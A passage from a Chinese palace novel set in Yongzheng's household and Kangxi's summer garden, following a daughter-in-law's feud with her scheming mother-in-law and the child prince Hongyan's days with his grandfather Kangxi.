董鄂婧雅看向弘晏说道:“六弟,该是我谢你才对。” 弘晏将口中的点心咽下:“三嫂客气了,我只不过是出了个主意而已,还是三嫂有本事。” 点子好不好,还得靠实践。 董鄂婧雅陪着弘晏说了会儿话,到了上课的时辰,董鄂婧雅便带着丫鬟回去了。 李侧福晋偃旗息鼓,董鄂婧雅与弘时倒是过了几天蜜里调油的好日子。 只是好景不长,李侧福晋又想出了新的点子。 这天晚上,天边未有明月,只有残星几点。 董鄂婧雅坐在临窗的檀木小榻上看书,丫鬟桂月气呼呼的走进来:“福晋,钟格格和田格格直接在甬道上就将三阿哥拉进屋子去了,这也太放肆了。” 这已然是第三回了。 按照规矩,皇子娶妻前,都要安排试婚格格教皇子们通晓人事,钟氏便是弘时的试婚格格。 待她进门后,李侧福晋又将身边的丫鬟田氏给了弘时,与钟氏一起服侍弘时。 董鄂婧雅闻言,将手中的书翻过一页:“若无李氏撑腰,她们二人岂敢这么放肆。” 她算是瞧明白了,只要李氏在一日,就不会叫她有好日子过。 桂月叹气:“福晋,奴婢真是不明白,您从来没有得罪过李侧福晋,为何您一进府,李侧福晋便要处处刁难您,与您过不去。” 桂月是董鄂婧雅从董鄂府带来的陪嫁丫鬟,自小与她一同长大的。 是以,对着桂月,董鄂婧雅便将自己的推测说了出来:“六弟有一句话说的对,弘时是李氏在这世上唯一的孩子了,李氏自然将自己的后半辈子都寄托在了弘时身上,可如今,六弟成了世子,李氏又被嫡额娘和年姨娘久久的压着,如今我成了她的儿媳,李氏一来是将我视作夺走弘时的人,二来,是想通过刁难我来发泄她这些年的怨气罢了。” 桂月听完,又道:“福晋,可三阿哥前几日明明还保证,不让您再受半分委屈的。” 董鄂婧雅笑了:“男人的话岂能相信,你瞧我阿玛,纵使我阿玛与额娘感情深厚,可还不是纳了几房小妾,官宦之家尚且如此,更何况是皇子皇孙呢。” 桂月虽然生气但又无可奈何:“那……那咱们就眼睁睁的瞧着三阿哥被钟格格和田格格抢去吗?” 福晋新婚不久就独守空房可怎么好。 董鄂婧雅将书翻过一页,勾了勾唇角:“先让她们得意几天吧。” 桂月眼睛一亮:“福晋这是有主意了?” 董鄂婧雅将 手中的书放到矮桌上,冲着桂月招手:“附耳过来。” 等董鄂婧雅说完,桂月点头:“奴婢明白了。” 几日后,董鄂婧雅到日上三竿才慢悠悠的去碧波苑给李侧福晋请安。 进了正屋,董鄂婧雅福身道:“见过额娘。” 见着董鄂婧雅脸色不好,李侧福晋哼了哼:“这几日弘时不在你房中过夜,可是心灰意冷了,连给本侧福晋请安都这般敷衍了事。” “额娘,额娘可是错怪儿媳了,有两个妹妹服侍爷,儿媳自是放心的,儿媳是昨夜睡得晚,今早便起迟了,还望额娘见谅。”董鄂婧雅说着,从桂月手中的漆木托盘里,端起了青花瓷茶盏,恭恭敬敬的递给李侧福晋。 李侧福晋得意的勾了勾嘴角,却并没有接董鄂婧雅手中的茶盏。 董鄂婧雅也没有恼,两只手连抖也不抖,就这般恭恭敬敬的端着。 李侧福晋叫丫鬟给自己捶着腿,一会儿吃块糕点,一会儿吃个蜜饯,直叫董鄂婧雅端了一盏茶的功夫,才慢悠悠的接过了茶盏。 十几岁的小丫头片子,还敢与她斗法。 自不量力。 李侧福晋嘴角上扬,掀开茶盖饮了一口茶水,可茶水刚入口,李侧福晋就品出了不对劲,直接将茶水喷了出去:“董鄂氏,你在茶水里放了什么东西?” 第127章 第127章作茧自缚 “没什么,一把盐而已。”董鄂婧雅缓缓开口。 李侧福晋闻言,将茶盏扫落在地,也顾不得嘴里一股子咸味儿,拧眉骂道:“好你个董鄂氏,竟敢戏弄本侧福晋。” 董鄂婧雅嘴角带着浅浅的笑,声音十分温柔:“额娘这就动怒了,儿媳此举只不过是想提醒额娘,您还是早些将那些下三烂的招数收起来,咱们婆媳也可平安度日,不然,下次儿媳再来奉茶,那茶里说不定就是砒霜了。” 李侧福晋听了这话已是怒火冲天,随即拍案而起:“你还敢威胁本侧福晋,今日本侧福晋非得好好教训你不可,来人,给我掌嘴。” 一旁的夏婵有些迟疑:“侧福晋,这……” 李侧福晋哼道:“怕什么,婆母教训儿媳,天经地义。” 夏婵给自己鼓了鼓气,便抬起了手掌。 董鄂婧雅直勾勾的盯着夏婵,站得笔直,说出来的话掷地有声:“我乃吏部尚书之女,谁敢动手?” 夏婵的气势顿时消失,扬起来的手默默收了回去。 李侧福晋见着董鄂婧雅明晃晃的挑衅,一时间更为恼火,直接冲过来将夏婵推到一旁:“没有的东西。” 李侧福晋骂完,便望向了董鄂婧雅:“尚书之女有如何?不敬婆母,我就替你阿玛、额娘好好教教你。” 李侧福晋说着,抬起手便要打。 胤禛此时刚好赶到:“住手!” 李侧福晋见到胤禛的那一刻,扬起的手便顿住了:“爷?” 胤禛黑着脸走进来:“李氏,你在干什么?” 李侧福晋赶忙将手放下:“爷,是董鄂氏,她……” 不待李侧福晋说完,董鄂婧雅连忙福身道:“给阿玛请安,阿玛息怒,是儿媳不好,儿媳茶艺不精,泡出来的茶入不得额娘的口,这才惹得额娘动了肝火。” 胤禛听着董鄂婧雅说完,眼睛望地上一瞥,果然有破碎的茶盏碎片和茶汤。 胤禛面前,李侧福晋没了嚣张的气焰,忙着开口解释:“爷,董鄂氏她胡言乱语,分明是她……” 不待李侧福晋说完,胤禛直接开口打断:“够了。” 李侧福晋被胤禛这突然的一喝,吓得眨了眨眼睛。 胤禛眉头紧皱:“李氏,这些年来你做了多少蠢事,爷看在你为爷生养了三子一女的份儿上,对你多有宽宥,可你丝毫不知悔改,如今儿媳刚进府不久,你处处刁难不说,还给弘时塞了侍妾,来打董鄂家的脸面。” 李侧福晋瘪着嘴,想伸手拉胤禛却被胤禛躲开:“爷,我……” 胤禛侧身而站,不再看李侧福晋,直接吩咐道:“苏培盛,李氏即日起幽禁碧波苑,除了夏婵,将碧波苑所有的奴才赶出去,再派护卫在门外看守,没我的命令,任何人不得再踏入一步。” 胤禛的话音落下,李侧福晋整个人瘫软在地。 “嗻。” 苏培盛应声后,胤禛大步流星的离开,没再给李侧福晋一个眼神。 这厢,董鄂婧雅回到房后,桂月笑吟吟道:“桂枝,幸好你及时将王爷请来,不然,福晋怕是要受苦了。” 虽然福晋提前命她打听好了胤禛的行踪,但胤禛来碧波苑也是需要时间的,幸好胤禛来的正是时候。 董鄂婧雅抬眼看向为自己担忧的桂月:“就算王爷不能及时赶来,我也不会傻傻的受了李氏的那巴掌。” 她长这么大,阿玛与额娘都没有动过自己一根手指,就李氏,也配教训她? 桂月与桂枝听了这话,又为董鄂婧雅欢喜起来。 少顷,外面的小太监来报:“福晋,钟格格和田格格求见。” 董鄂婧雅眉头一挑:“让她们进来吧。” 消息倒是灵通的紧。 钟格格与田格格一进门,二人就双双跪下。 田格格磕起头来:“福晋,妾身从不敢与福晋争抢三阿哥,这一切都是李侧福晋逼妾身的啊。” “福晋,妾身以后唯福晋马首是瞻,还望福晋能给妾身一条生路。”钟格格说着,也跟着磕起头来。 董鄂婧雅看向如惊弓之鸟般的钟格格和田格格,悠悠开了口:“二位妹妹这是做什么?我又不是老虎,还能吃了你们不成?日后只要你们安分守己,自然有你们的舒心日子过。” 待董鄂婧雅话音落下,钟格格与田格格又磕起了头。 董鄂婧雅抬手:“两位妹妹起身吧。” 待钟格格与田格格站起身后,桂月与桂枝一人捧了一碗药汤送到钟格格与田格格二人面前。 钟格格试探的问:“福晋,这是?” 桂月皮笑肉不笑:“钟格格,这是福晋特意命我们熬的避子药汤,您还是趁热喝了吧。” 钟格格与田格格认命的喝下药汤,便离开了屋子。 桂月走到董鄂婧雅身旁,嘟囔道:“福晋,一人一碗避子汤都算是便宜她们了。” 就前些日子,钟格格与田格格日日缠着弘时饮酒作乐,让底下的奴才们看自家福晋的笑话,她今日看到二人都恨得牙痒痒。 董鄂婧雅反问道:“彻底处置了她们,我岂不是成了妒妇?” 桂月一时语塞。 人言可畏啊。 董鄂婧雅弯了弯唇:“喂了她们避子药,我便安了心,待我日后生下孩子,弘时若是还朝三暮四,便随他去。” 弘晏小小年纪就如此通透,怪不得皇上和胤禛都这般喜爱,将来弘晏承袭了雍亲王府,总不会亏待他这些哥哥嫂嫂的。 如今,她只要有一个小阿哥,便有了后半辈子的指望,至于弘时这个夫君便是可有可无的了。 董鄂婧雅正思忖时,弘时急匆匆的进来:“福晋,发生了何事?额娘她是怎么触怒阿玛的?” 董鄂婧雅瞥了一眼满脸焦急的弘时,缓缓开口:“爷去问额娘不就知道了。” 弘时只道:“碧波苑都封了,又有护卫把手,我如何能进去?” 董鄂婧雅端起茶盏,掀了掀茶盖:“我倒是忘了,额娘出不来了,那爷去问阿玛不就知道了?” 董鄂婧雅说着,饮了一口茶。 弘时皱眉:“额娘出了这么大的事儿,你怎么还有心思喝茶,当时你不是也在场吗?怎么没替额娘求求情,劝劝阿玛呢?” 董鄂婧雅将茶盏放回原处,又拿着帕子擦了擦嘴角:“阿玛发了好大的火,我嘴笨,说错了话岂不是火上浇油,阿玛应该还在书房,爷是额娘的亲骨肉,还是爷去找阿玛求情吧,我有些乏累,便先歇息去了。” 说着,董鄂婧雅站起身,冲着弘时毫不走心的福了个身,便扶着桂月的手往内室去了,只留弘时一个人在原地凌乱的站着。 从碧波苑赶出来的奴才如何分配,自然就由乌拉那拉氏做主了。 只是,每个院子都不缺人手,这些奴才便只好去做些挑水劈柴的粗使活计了。 学堂内的弘晏听说了李侧福晋被幽禁在了碧波苑后,先是震惊,而后又觉得这都是李侧福晋作茧自缚的结果。 如果不是李侧福晋存心与董鄂婧雅过不去,董鄂婧雅是不会给李侧福晋这致命的一击,而是会好好孝敬李侧福晋的。 话说回来,弘晏现在也明白了。 自己当初没有看错,董鄂婧雅是个有傲骨的女子,她不是不懂女人间的斗法,而是不屑于去做。 同时,他也佩服这位三嫂,一出手就是以自身为诱饵,激怒李侧福晋,逼她翻脸动手,从而让便宜阿玛彻底恼了李侧福晋。 弘晏正想着,弘时就疾步进来喊道:“六弟,六弟!” 弘晏思绪回笼:“三哥,怎么了?” 弘时只道:“六弟,我额娘的事儿,你都听说了吧。” 弘晏点点头。 这么大的动静,何止是他,怕是整个雍亲王府都传遍了。 弘时拉着弘晏的胳膊就像抓住了救命稻草一般:“六弟,阿玛最喜欢你,我求你帮我额娘求求情,在阿玛面前美言两句吧。” 弘晏听罢,将自己的胳膊抽出来:“三哥,不是我不愿意帮你,而是李姨娘做的错事太多,阿玛这般做已然是给你留了体面了。” 至少,便宜阿玛还留了侧福晋的名分。 “六弟,你说的对,三哥不该为难你。”弘时说完,满是落寞的离开了学堂。 弘晏瞧着弘时的背影,默默摇了摇脑袋。 这个忙,他不该帮,也帮不了。 道理弘时都明白,可李侧福晋纵使有千般不是,万般的错,终究是他的额娘。 他是额娘在世上唯一的孩子了,他不能眼睁睁的看着额娘的后半辈子,就这样凄惨的在幽禁中度过。 他要为额娘勇敢一回。 弘时打定主意,直奔着胤禛的书房而去。 一刻钟的时间,书房里的弘时被胤禛骂了个狗血喷头,连忙退了出来。 弘时垂头丧气的回到屋子后,挥了挥手,示意桂月下去。 桂月看向了董鄂婧雅。 小榻上坐着的董鄂婧雅点了点头,桂月这才放心离去,还将隔扇门关上了。 不待董鄂婧雅开口,憋了一路的弘时再也忍不住了,抱着董鄂婧雅哭出了声:“福晋,我只有你了。” 董鄂婧雅虽然一头雾水,但是瞧着弘时这般模样,不难猜到弘时是到胤禛面前给李氏求情而被责骂了。 毕竟,在胤禛怒气最大的时候去求情,确实是弘时能干出来的事儿。 董鄂婧雅敛下思绪,什么没说,只轻轻的抚摸着弘时的后背。 次日上午,董鄂婧雅带着桂月去了学堂,给弘晏送蟹黄汤包。 弘晏眼睛瞬间就亮了:“多谢三嫂。” 一旁的弘昼哼了哼:“三嫂,你偏心,好吃的都没有我和四哥的份儿。” 董鄂婧雅笑盈盈的看向弘昼:“都有份儿,我还带了鹿肉脯和菊花糕呢。” 弘昼立马眉开眼笑:“嘿嘿,有劳三嫂了。” 弘昼嘴里叼着一个蟹黄汤包,左手拿着一个蟹黄汤包,右手拿着鹿肉脯走到弘历的书桌前,直接将左手里的蟹黄汤包塞进了弘历嘴里,而后又将自己嘴里的蟹黄汤包拿在手上:“填填你的肚子,别看书了,叫你的眼睛和脑子歇一歇,它跟上你这么个主人,可真够累的。” 弘昼的这番话逗乐了董鄂婧雅和弘晏。 董鄂婧雅赶忙拿着帕子掩住唇。 而弘历虽然十分领弘昼的好心,但是弘昼说话时,嘴里还有蟹黄汤汁,那汤汁便喷在了他的书页上了。 弘历左手将嘴里的蟹黄汤包拿出来,抬起右手指着书页给弘昼看。 弘昼见状,边吃着蟹黄汤包,抬手指了一下自己的书桌,说话十分阔气:“书你随便挑。” 反正他是不稀罕看的。 弘历:“……” 他只是想让弘昼吃得斯文些。 第128章 第128章去畅春园 康熙六十年夏,康熙摆驾畅春园避暑,命胤禛等一众皇子随行,八岁的弘晏自然也在其中。 这日上午,天气不算炎热,弘晏带着田玉到园子里去捉蝴蝶。 园子里多奇花异草,香味扑鼻,自然也引来了不少蝴蝶。 弘晏正在甬道上走着,眼睛四处张望寻找目标时,耳边猛然听到了“嗡嗡”的声音。 弘晏一扭头,竟然是一只蜜蜂,而这蜜蜂离他不过一寸的距离。 弘晏顿时睁大了眼睛。 好在田玉反应快,挥舞起手中的捕网将拿蜜蜂赶走了。 弘晏缓缓呼出一口气。 蝴蝶还没有捕到一只呢,差点儿让蜜蜂给蛰了。 又走了会儿,弘晏便瞧见好几只蝴蝶在那花丛中盘旋飞舞。 弘晏指给田玉瞧:“田玉,你瞧,多好看啊。” “是啊,世子,你瞧,那只蝴蝶开始采蜜了。” 待田玉话音落下,弘晏便将视线投过去,那只蝴蝶正稳稳当当的落在花蕊上。 这可是个好机会。 弘晏从田玉手中接过捕网,接着高高举起捕网,屏住呼吸小步子轻轻的移过去,正当弘晏准备将手中的捕网落下去时,身后忽然传来一句:“奴才见过德妃娘娘。” 弘晏的手在半空中顿住了,那蝴蝶听到有人说话的动静,便扑闪着翅膀飞走了。 弘晏转过身,将手中的捕网放在地上,朝着德妃恭恭敬敬的拱手:“孙儿见过玛嬷。” 德妃抬手:“起来吧。” 弘晏方站直身子。 德妃看向了弘晏放在地上的捕网:“你这是在捉蝴蝶?” 弘晏乖巧的点点头,心里却在吐嘈,如果不是德妃突然出现,那只蝴蝶就不会从他眼皮子底下逃走了。 德妃瞧着弘晏,心里略有不悦。 她问一句,这孩子便答一句,她不言,这孩子也不语。 明明在康熙面前那么活泼,到了她面前倒是跟个小木头一般了。 德妃只道:“怎么不说话?” 弘晏有些疑惑,抬眼看向了德妃:“回玛嬷,您方才问孙儿是不是在捕蝴蝶,孙儿点头了啊。” 他点头点的那么明显,德妃看不出来吗? 德妃:“……” 德妃语塞,更没了与弘晏说话的的兴致:“罢了,你接着捉蝴蝶吧。” 话音落下,德妃抬步便要走。 弘晏见状,拱手道:“玛嬷慢走。” 这时,宜妃笑盈盈的甩着帕子过来了:“吆,这不是德妃妹妹吗?” 德妃看向宜妃,微微颔首。 随即,弘晏又对着宜妃拱手:“弘晏见过宜玛嬷。” 宜妃视线下移,嘴角带着笑:“弘晏,几月不见,倒是长高了不少啊。” 弘晏笑着颔首:“谢宜玛嬷夸奖。” 德妃瞥了一眼弘晏,隐隐有些不悦,这孩子对着宜妃倒是笑得欢喜。 随即,德妃将视线收回,又望向了宜妃:“宜妃姐姐好兴致啊。” “天儿好,景儿好,自然要多出来走走了。”宜妃说着,走过去将那朵开得正旺的粉月季摘了下来,拿在手中。 宜妃转过身对着弘晏晃了晃手中花:“弘晏,你瞧这花好看吗?” 弘晏点点头:“好看。” 这朵粉月季便是方才那只蝴蝶停下来采蜜的那朵。 宜妃眼尾一挑,接着问:“那你觉得这花是戴在你玛嬷头上好看,还是戴在宜玛嬷头上好看呢?” 她有心逗一逗白白嫩嫩的小弘晏。 德妃闻言,并未出声,而是看向了弘晏。 她想瞧瞧弘晏该如何回答。 弘晏笑呵呵的说道:“宜玛嬷,鲜花配美人,您和玛嬷都是美人,自然都好看的。” 端水而已,有什么难的。 宜妃脸上的笑意更甚了:“说的可真好,宜玛嬷听着高兴。” 话落,宜妃俯身抬手摸了摸弘晏白嫩的小脸儿。 接着,宜妃站直身子朝着德妃走过去:“德妃妹妹,这花就由姐姐为你簪上吧。” “这花既然是姐姐亲手摘下的,还是妹妹来给姐姐簪上。”德妃说完,便抬手去拿宜妃手中的花,却被宜妃给躲过去了。 “妹妹,你可不要拂了姐姐的好意啊。”宜妃说着,已然抬手将这朵粉月季簪在了德妃的鬓边。 “好看,妹妹戴上这花,真是俏丽,整个人可都年轻了不少呢。”宜妃说完,又道:“妹妹和弘晏接着玩吧,姐姐到别处逛逛,就不打扰你们祖孙了。” 宜妃说完,甩着帕子踩着花盆底走了。 弘晏适时出声:“宜玛嬷慢走。” 待宜妃走远后,德妃的脸顿时冷下来,直接将那朵粉月季从鬓边取下来扔在了地上,接着便扶住岚竹的手迈开步子走了。 而德妃的花盆底正好碾过了地上的那朵粉月季。 弘晏垂眸拱手:“玛嬷慢走。” 待德妃走远,弘晏望向了那朵破碎的粉月季,微微摇了摇脑袋。 两个女人的斗争,无辜的月季花却成了工具和出气筒。 “田玉,咱们到别处捉蝴蝶去吧。”弘晏说着,弯腰拿起了地上的捕网。 弘晏找到了一个清净的地方,这里只有他和田玉两个人,不会再有人打扰到他。 很快,弘晏便捉了一大一小两只蝴蝶,将这两只蝴蝶放到玻璃罐子里,弘晏便收工了。 田玉开口问:“世子,咱们直接回去吗?” 弘晏摇摇头:“我要给皇玛法瞧瞧我的蝴蝶。” 主仆二人便朝着康熙所居住的清溪书屋出发。 到了清溪书屋,弘晏刚迈上石阶,便听到屋子传来康熙的声音:“又是绿豆汤,撤了,给朕端碗西瓜汁来。” 总是喝绿豆汤,他的脸都要喝绿了。 梁九功劝道:“皇上,这绿豆汤解暑开胃,您还是喝一些吧,西瓜汁到底是寒凉之物,太医说了,您的身子还是不宜饮用的。” 康熙有些生气,抬手指向梁九功,哼道:“朕的身子好的很,快去把西瓜汁端过来。” 弘晏听到这里,便迈着步子走进去了:“皇玛法,谁惹着您了。” 康熙见着弘晏,面色稍缓:“福宝,来瞧皇玛法了。” 弘晏笑着点头:“皇玛法,您瞧瞧我捉的蝴蝶。” 待弘晏话音落下,田玉将玻璃罐子呈了上去。 那玻璃罐子里的两只蝴蝶正用力的扑闪着翅膀呢。 康熙笑着点头,眼睛里满是慈爱:“好看。” 一只蓝蝴蝶,一只花蝴蝶。 弘晏忽闪着眼睛望向康熙:“嘿嘿,那皇玛法您帮我将这两只蝴蝶放飞吧。” 康熙不解的问向弘晏:“好不容易捉来的蝴蝶,怎么又要放飞呢?” 弘晏一本正经的回答道:“皇玛法,孙儿在捉蝴蝶的过程中已然感受到了乐趣,如今将这两只蝴蝶呈到皇玛法面前,让皇玛法开心,孙儿的目的已然实现了,自然要让这两只蝴蝶回到它们的家。” 玻璃罐子虽然好,但到底不透气,两只蝴蝶在玻璃罐子里是存活不了多久的。 康熙对于弘晏的回答很是意外,同时又很是欣慰:“好,那你和皇玛法一起将它们放飞吧。” 弘晏一口答应:“好。” 祖孙二人出了屋子迈下石阶,康熙端着玻璃罐子,弘晏则打开了玻璃罐子上面的盖子。 两只蝴蝶呼吸到新鲜的空气,争先恐后的从玻璃罐子里飞出来,越飞越高,越飞越远。 弘晏仰着小脸看向康熙:“皇玛法,孙儿口渴了,想喝绿豆汤,皇玛法能陪孙儿一起喝吗?” 康熙闻言,抬手摸了摸弘晏的小脑袋:“好。” 话音落下,康熙就牵着弘晏的小手进屋子里去了。 梁九功端上来两碗绿豆汤,康熙喝了一口便看向弘晏:“福宝,若是面前同时有绿豆汤和西瓜汁,你会如何选?” 弘晏将嘴里的绿豆汤咽下,十分真诚的说道:“皇玛法,我会选绿豆汤。” 康熙笑问:“为何?” 接着,弘晏便同康熙讲了那年夏天在半夜里,他偷偷翻窗去小厨房偷冰鉴里的西瓜吃,结果第二日腹泻拉到虚脱的事情。 := 康熙听完了整件事情哈哈大笑:“福宝,你还有这么顽皮的时候啊。” 弘晏忽闪着眼睛:“嘿嘿,那皇玛法幼时难道不顽皮吗?” 弘晏这么一问,康熙抬起眼眸,回忆起了往昔:“皇玛法幼时自然也顽皮过,那时候上树掏鸟蛋,爬假山,下河捉鱼,皇玛法样样都干,皇玛法的皇玛嬷知道了以后是又气又担心啊。” 康熙与弘晏讲着自己的童年趣事,脑子里浮现出与孝庄文皇后相处的点点滴滴,不免有些伤感了。 弘晏察觉到康熙的情绪变得低落以后,便笑嘻嘻的说道:“皇玛法,喝完绿豆汤,我们去钓鱼怎么样,午膳孙儿给您烤鱼吃。” 弘晏的话将康熙从久远的回忆中拉了回来:“福宝还会烤鱼?” 弘晏摇摇头:“孙儿没烤过,但孙儿想试试。” 康熙笑着端起碗:“好,喝完绿豆汤,皇玛法带你去钓鱼。” 待康熙话音落下,梁九功已然吩咐下面的人去准备了。 少顷,祖孙两个便在园子里的湖边钓起了鱼,头顶支了乘凉的棚子,不会觉得炎热,弘晏手边还放了一个檀木雕花小几,小几上面摆放着茶点。 忽而,康熙感觉到自己的鱼竿振动,便开始收竿。 待康熙鱼钩上的鱼儿浮现出水面,一旁的弘晏很是羡慕:“皇玛法,你好厉害啊。” 康熙笑道:“福宝,你的鱼钩也很快会有鱼儿上钩的。” 康熙的话音落下不久,弘晏的鱼竿便开始振动,弘晏一喜,赶忙去收鱼竿,可只凭弘晏一个人的力气还有些不太够,田玉便去帮忙。 瞧见鱼儿的一刹那,弘晏笑得眼睛眯成了一条缝:“皇玛法,我的鱼比你钓上来的鱼大。” 康熙笑着夸道:“是,朕的福宝才是最厉害的了。” 一个时辰下来,祖孙两个已经收获颇丰了。 于是,康熙便带着弘晏回清溪书屋去。 弘晏拉了拉康熙的袖子,眨着眼睛说道:“皇玛法,等到了清溪书屋,您先去内室睡一觉,等您睡醒了,就有香喷喷的烤鱼吃了。” 康熙笑着点头:“好,那皇玛法可等着了。” 进了清溪书屋,康熙先去小憩了,弘晏撸起袖子准备开干。 只是,这烤鱼可是个技术活,远没有看上去那么简单,也没有烤洋芋、烤红薯那么容易。 不一会儿的功夫,弘晏就被那从火焰里冒出来的白烟儿熏得想流泪,弘晏赶忙背过身去,用袖子擦了擦眼睛,再转过身来时,闻到了一股焦味儿。 弘晏暗叫不好,赶忙给烤鱼翻个面儿,可是已经来不及了,鱼已然糊了。 弘晏先将烤鱼拿下来,用筷子戳了戳发黑的鱼,外面虽然糊了,可里面还没熟呢。 弘晏尝到了挫败感的滋味。 早知道他就不该拒绝田玉和御厨的帮忙了。 专业的事情还得让专业的人干才行。 第一条鱼,光荣牺牲。 弘晏在御厨和田玉的辅助之下,开始烤第二条鱼。 果然,有了专业的人指导,烤出来的鱼就是不一样,弘晏已经闻到烤鱼的香味了。 鱼要趁热吃才好,弘晏便叫田玉去告知梁九功,可以叫康熙起床了。 内室里的康熙小憩儿了,醒来后倒是觉得自己更精神了些,洗漱罢,康熙直接坐到了外间的八仙桌旁。 康熙的视线扫过满满一桌的御膳,最后落在了放在中间的那条烤鱼。 弘晏笑眯眯的说道:“皇玛法,快尝尝看。” 康熙笑着提起筷子,在弘晏期待的目光中,夹了一块鱼肉放进嘴里细细品:“鱼肉鲜嫩,很不错,没想到福宝第一次烤鱼就烤 的这般好。” 康熙的夸奖让弘晏有些惭愧,随即,弘晏便将刚刚发生的事情讲了一遍。 康熙听完,扭脸问向梁九功:“那条烤糊的鱼呢?” 梁九功弓身答道:“回皇上的话,还在小厨房里放着呢。” 康熙吩咐道:“去取来吧。” 随即,康熙又看向弘晏:“福宝,你也快尝尝。” 弘晏虽不知道康熙要那条烤糊的鱼做什么,不过美味的烤鱼在眼前,弘晏还是先夹了一块吃:“真好吃。” 其实,他在烤鱼这方面还是挺有天分的嘛。 少顷,梁九功便将烤糊的鱼用漆木托盘端了进来。 康熙手一挥,梁九功便将鱼放在了康熙面前。 这条黑乎乎的鱼与方才那条色泽金黄的鱼可是一个天上,一个地下。 随后,康熙在弘晏和梁九功的目光中提起筷子冲着那条黑乎乎的鱼夹下去。 梁九功连忙出声劝:“皇上,这鱼都糊了,可吃不得啊。” 坐在康熙身旁的弘晏也跟着出声劝:“是啊,皇玛法,这鱼外面糊了,里面还是生的,吃了会闹肚子的。” 康熙的做法属实在弘晏的意料之外,他还以为康熙只是想瞧瞧那条糊了的鱼倒底是什么模样,却不想,康熙竟然是想尝味道。 对于震惊的弘晏和梁九功,康熙倒是淡定的很:“这条鱼才是福宝烤的第一条鱼,也是专门为皇玛法烤的鱼,虽不完美,但皇玛法还是要尝尝味道的。” 一旁的梁九功接着开口劝:“皇上,龙体为重啊。” 康熙斜睨了梁九功一眼,哼道:“梁九功,朕看你是老了,越来越啰嗦了。” 动不动就让他保重身子,他的身子健朗的很。 弘晏此时的心情有些复杂,就那条黑乎乎的鱼,叫他自己吃,他都不愿意吃的:“皇玛法,你还是别吃了,吃这条烤好的鱼吧。” 康熙瞧着弘晏是满脸的担忧,反而笑着安慰起了弘晏:“皇玛法就尝一小口,不会有事的。” 说着,康熙拿着筷子将烤焦的鱼表面挑开,里面的鱼肉果然还没有熟透,康熙选了一小块没刺的鱼肉放进嘴里品尝。 弘晏瞧着,不禁吞了吞口水。 这能是什么味道啊! 这厢,康熙笑着点头:“尚可。” 话落,康熙摆摆手,示意梁九功将这条烤糊的鱼撤下去。 康熙满是慈爱的看向弘晏:“福宝,别盯着朕瞧了,皇玛法好的很,快用膳吧。” 弘晏不好意思的挠了挠小脑袋。 瞧着康熙果真没有不良反应,弘晏便开始埋头干饭了。 吃完了午膳,有大臣来求见康熙禀报政事,弘晏便先带着田玉回去了。 出了清溪书屋,没走几步,弘晏便发现那条烤糊的鱼被人放在了角落里。 弘晏正疑惑时,有只黑猫冲着那条鱼跑了过去,可那黑猫只是低头闻了闻烤焦的鱼,便毫不留恋的转身离开,继续寻找新的食物去了。 弘晏无奈的笑了笑。 好嘛,他烤糊的这条鱼连猫都不愿意吃。 呜呜,康熙今天真是感动到他了。 第129章 第129章祖孙嬉戏 自打康熙吃了弘晏烤糊的鱼之后,梁九功便彻底相信弘晏在康熙心里的地位不一般。 康熙虽然是来畅春园避暑,但对政事一点儿都不放松,那折子是一摞一摞的往清溪书屋里送。 且康熙不服老,更听不得旁人说些让他顾及身子的话,每每至深夜还在案牍劳形,梁九功看在眼里,急在心里,便差了御前的小太监去寻弘晏来劝一劝康熙。 弘晏得知缘由之后,立马带着石泉去了清溪书屋。 “皇玛法。”弘晏笑嘿嘿的走进去。 御案后坐着的康熙抬眼望去:“是福宝啊。” 弘晏三两步走到了康熙面前,歪着小脑袋问:“皇玛法,今天天气好,我们去放风筝好不好?” 康熙顿了片刻,便将手上的狼毫笔放下,笑着点头:“好。” 这折子等陪着弘晏放完风筝回来再批阅也不迟。 康熙站起身后,低眸问向弘晏:“福宝想要什么样的风筝啊?” 弘晏忽闪着眼睛看向康熙:“皇玛法要龙形风筝,孙儿要兔子风筝,咱们比比谁放的高。” “行啊。”康熙说着,便牵着弘晏的小手往园子里去了。 在屋子里坐了太久,如今出来活动活动身子骨,康熙觉得也挺好的。 弘晏瞧着康熙的龙形风筝飞得高高的,远远超过了他的兔子风筝,不禁看向康熙夸道:“嘿嘿,还是皇玛法厉害。” 康熙闻言,翘了翘嘴角:“龙本就是腾云驾雾,翱翔九天的,福宝可喜欢龙吗?” 话说着,康熙的视线从天上的龙形风筝转而看向了弘晏。 一旁的梁九功听了这话,面上不显,心里却惊了一惊。 弘晏眨了眨黑葡萄般的大眼睛:“皇玛法,我还是更喜欢兔子。” 康熙闻言,笑了笑,并未再多说什么。 放完风筝,祖孙二人便回了清溪书屋。 午膳有弘晏在,康熙特意命人加了一道冰糖萝卜。 弘晏笑得灿烂:“还是皇玛法最好了。” 弘晏说着,拿着筷子给康熙的碟子里夹了不少菜。 有弘晏陪着,康熙这顿午膳倒是用了不少。 用罢午膳,康熙欲起身去批阅奏折,却被弘晏哄着去午睡:“皇玛法,您睡上半个时辰再看折子也来得及啊,您不困,孙儿都困了呢。” 弘晏说着,佯装打了一个哈欠。 弘晏的小把戏,康熙自然能看穿,不过弘晏这么费心思让他休息,康熙也乐得配合。 “好,那福宝就和皇玛法一同午睡吧。”康熙说着,牵着弘晏的走进了内室。 弘晏脱了鞋子,骨碌着身子便躺到了里侧,等康熙在外侧躺下之后,梁九功将黄色的帐幔放下,又在鎏金镂空盘龙香炉里燃了龙涎香。 很快,躺在床榻上的弘晏就呼呼睡着了。 康熙见状,摸了摸弘晏的小脸蛋儿便也阖眼睡去了。 半个时辰后,弘晏从床榻上醒来,身边已然空荡荡了。 在康熙醒后,石泉便一直在床榻旁守着,如今见弘晏骨碌着身子坐起来,石泉上前将黄色的帐幔勾起,给弘晏穿上鞋子,又伺候弘晏洗漱。 外间的御案上康熙正奋笔疾书,是以弘晏出了内室并没有惊动康熙,而是小步子走到魏珠面前,示意魏珠附耳过来。 御案后坐着的康熙将弘晏的小动作全部收入眼底,不过康熙并未出声,他倒是想瞧瞧弘晏是要做什么。 待弘晏耳语了几句,魏珠颔首去办。 不多时,两个小太监抬进来一套紫檀木矮脚桌椅,待桌椅放平稳,又有一个小太监端来了文房四宝。 弘晏坐到了椅子上,将自己的袖子撸上去,而石泉则开始为弘晏研磨。 弘晏将一张宣纸铺平,一双眼睛盯着空白的宣纸便开始构思。 有了灵感之后,弘晏拿起狼毫笔蘸了砚台里的墨 汁,便在宣纸上挥洒起来。 御案上的康熙,瞧着下方矮脚书案后坐着的弘晏脸上的神情十分专注,嘴角微扬,便继续批自己的折子了。 